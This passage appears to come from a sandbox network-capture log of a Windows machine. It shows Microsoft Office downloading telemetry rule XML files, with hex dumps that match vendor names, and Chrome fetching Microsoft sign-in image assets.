2024-10-23 19:04:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49754	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:07 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:07 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 8eb541d3-201e-0071-4881-20ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190407Z-r1755647c66cdf7jx43n17haqc00000009dg000000004ats x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:08 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49753	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:07 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: e2670bef-801e-008f-375d-232c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190408Z-17fbfdc98bbg2mc9qrpn009kgs0000000680000000006bkk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49751	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:08 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-23 19:04:08 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=78124 Date: Wed, 23 Oct 2024 19:04:08 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49755	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:08 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 8ee7b399-e01e-0033-0c50-234695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190408Z-17fbfdc98bbg2mc9qrpn009kgs0000000670000000008efx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49756	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:08 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:08 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 8a7344d1-601e-0084-805a-236b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190408Z-17fbfdc98bb8xnvm6t4x6ec5m40000000610000000006ac7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:08 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49758	13.107.253.45	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:08 UTC	638	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 19:04:08 UTC	800	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:08 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 3f5c71a0-a01e-0003-415d-211d9f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T190408Z-r1755647c66kmfl29f2su56tc400000009eg000000003b5u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:08 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49759	13.107.253.45	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:08 UTC	602	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 19:04:08 UTC	757	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:08 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: 430036bf-c01e-0015-658b-24eb48000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T190408Z-r1755647c66dj7986akr8tvaw400000007yg000000002amk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:08 UTC	15627	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-10-23 19:04:08 UTC	1547	IN	Data Raw: 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""""

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49762	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:08 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:08 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 1290ce53-d01e-002b-7905-2225fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190408Z-r1755647c66wjht63r8k9qqnrs000000073g0000000065nw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:09 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49760	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:08 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:08 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 6ff76e76-001e-002b-21c5-2099f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190408Z-r1755647c66n5bjpba5s4mu9d000000008mg0000000085qf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:09 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49761	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:08 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:08 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f82a9b3d-301e-005d-05cf-20e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190408Z-r1755647c66cdf7jx43n17haqc00000009ag0000000094kz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49763	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:08 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 80263b1c-901e-002a-38ad-247a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190409Z-r1755647c66l72xfkr6ug378ks00000007kg0000000031ka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 